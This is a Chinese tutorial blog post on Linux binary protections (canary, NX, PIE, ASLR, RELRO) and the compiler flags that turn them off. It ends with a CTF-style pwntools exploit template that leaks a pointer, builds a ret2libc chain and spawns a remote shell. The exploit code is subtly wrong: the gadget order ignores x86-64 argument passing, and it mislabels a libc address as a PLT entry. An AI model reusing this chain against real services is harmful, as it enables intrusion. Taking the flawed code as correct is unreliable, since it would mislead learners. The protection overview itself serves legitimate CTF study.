pwn中常见的保护

checksec 可以查看程序开启了哪些保护。

➜ ~ checksec /bin/ls                                  
[*] '/bin/ls'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
  FORTIFY: Enabled

 Canary

canary 是一种防止缓冲区溢出攻击的保护机制。它的基本思想是在程序的堆栈中插入一个随机生成的数值,用于检测缓冲区溢出攻击。

.text:0000000000001189 endbr64
.text:000000000000118D push   rbp
.text:000000000000118E mov     rbp, rsp
.text:0000000000001191 sub     rsp, 30h
.text:0000000000001195 mov     rax, fs:28h
.text:000000000000119E mov     [rbp-8], rax
...
.text:00000000000011CE mov     rdx, [rbp-8]
.text:00000000000011D2 xor     rdx, fs:28h
.text:00000000000011DB jz     short locret_11E2
.text:00000000000011DB
.text:00000000000011DD call   ___stack_chk_fail
.text:00000000000011DD
.text:00000000000011E2 ; --------------------------------------------------------
-------------------
.text:00000000000011E2
.text:00000000000011E2 locret_11E2:                           ; CODE XREF:
f+52↑j
.text:00000000000011E2 leave
.text:00000000000011E3 retn

canary 的初始值存储在 tls 中,也就是前面提到的 stack_guard 。
在编译 c 程序时使用 -fno-stack-protector 参数可以关闭 canary 保护(注意高版本的 gcc 的 canary保护关不掉)。

NX

NX 即 No-execute(不可执行),NX 的基本原理是将数据所在内存页标识为不可执行,也就是同一内存可写与可执行不共存。 

gcc 编译器默认开启了 NX 选项,如果需要关闭 NX 选项,可以给 gcc 编译器添加 -zexecstack 参数

PIE

PIE 主要随机了代码段( .text ),初始化数据段( .data )和未初始化数据段( .bss )的地址。另
外 PIE 是否开启还会影响堆的基址。
开启 PIE:
关闭 PIE:
在编译 c 程序时使用 -no-pie 参数可以关闭 PIE 保护。

ASLR

ASLR 是系统级别的地址随机。通过修改 /proc/sys/kernel/randomize_va_space 的值可以控制
ASLR 的级别:
0:关闭 ASLR
1:栈基址,共享库,mmap 基址随机
2:在 1 的基础上增加堆基址的随机
 
关闭 PIE
关闭 ASLR: 主模块加载地址固定(0x400000)所有模块加载地址固定
开启 ASLR:主模块加载地址固定(0x400000) 其他模块加载地址不固定
开启 PIE
关闭 ASLR:所有模块加载地址固定 主模块地址(主模块基址 0x55xxxxxxxxxx且固定)
开启 ASLR:所有模块加载地址不固定

RELRO

当 RELRO 保护为 NO RELRO 的时候, init.array 、 fini.array 、 got.plt 均可读可写。
为 PARTIAL RELRO 的时候, init.array 、 fini.array 根据实际调试结果判断是否可写,
got.plt 可读可写。
为 FULL RELRO 时, init.array 、 fini.array 、 got.plt 均可读不可写。
-Wl,-z,norelro 编译参数可以关闭 RELRO ,使 RELRO 状态变为 NO RELRO 。
-Wl,-z,lazy 会开启延迟绑定,使 RELRO 状态变为 Partial RELRO 。

### 关于PIE保护机制下的PWN攻击实例 在存在位置无关可执行文件(Position Independent Executable, PIE)的情况下,程序加载地址会在每次运行时被随机化。这增加了利用漏洞的难度,因为传统的返回导向编程(ROP)依赖固定的基址来计算目标函数或gadget的位置。 然而,在某些情况下仍然可以实施有效的攻击策略。例如,在未完全启用RELRO的部分程序中可能存在动态链接表(Global Offset Table, GOT)条目重写的机会[^1]。对于这类情形,可以通过泄露库函数的实际地址并结合偏移量找到系统调用或其他有用功能的确切位置。 当面对开启了PIE但其他安全措施较弱的目标时,一种常见的方法是通过信息泄漏获取当前映像基址,之后再构建针对特定版本二进制文件已知布局的payload来进行控制转移。下面给出一个基于`ret2plt`技巧的具体案例分析: #### 实战演练:CTF挑战题目的解析 考虑一道名为“ezpie”的题目来自NISACTF 2022竞赛[^2]。此题提供了一个易受攻击的服务端应用,它虽然启用了PIE特性却未能充分设置栈溢出防护机制。这意味着如果能够绕过ASLR的影响,则有可能实现远程代码执行。 为了完成这一任务,选手们通常会采取如下手段之一: - 利用格式字符串错误读取内存中的关键数据片段; - 或者借助UAF (Use After Free) 缺陷间接访问已经释放的对象结构体成员变量; 无论哪种方式获得的信息都可以帮助定位libc.so及其他重要模块的真实起始点,从而为进一步规划rop chain奠定基础。 ```python from pwn import * # 建立连接至服务 conn = remote('target_ip', port) # 发送恶意输入触发缓冲区溢出条件... conn.sendlineafter(b'prompt:', payload) # 接收响应包内含潜在有价值的指针值 leaked_ptr = u64(conn.recvuntil(b'\n').strip().ljust(8,b'\x00')) log.info(f"Leaked pointer @ {hex(leaked_ptr)}") base_addr = leaked_ptr - known_offset_from_libc_base_to_leak_point system_plt = base_addr + offset_of_system_in_libc bin_sh_str = base_addr + offset_of_binsh_string_in_libc final_payload = b'A'*offset_until_retaddr \ + p64(system_plt) \ + p64(ret_gadget_if_needed) \ + p64(bin_sh_str) conn.sendline(final_payload) conn.interactive() ``` 上述脚本展示了如何与远端服务器交互,并尝试构造合适的载荷以期达成命令注入的目的。当然实际操作过程中还需要根据具体情况调整细节部分如偏移量等参数设定。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值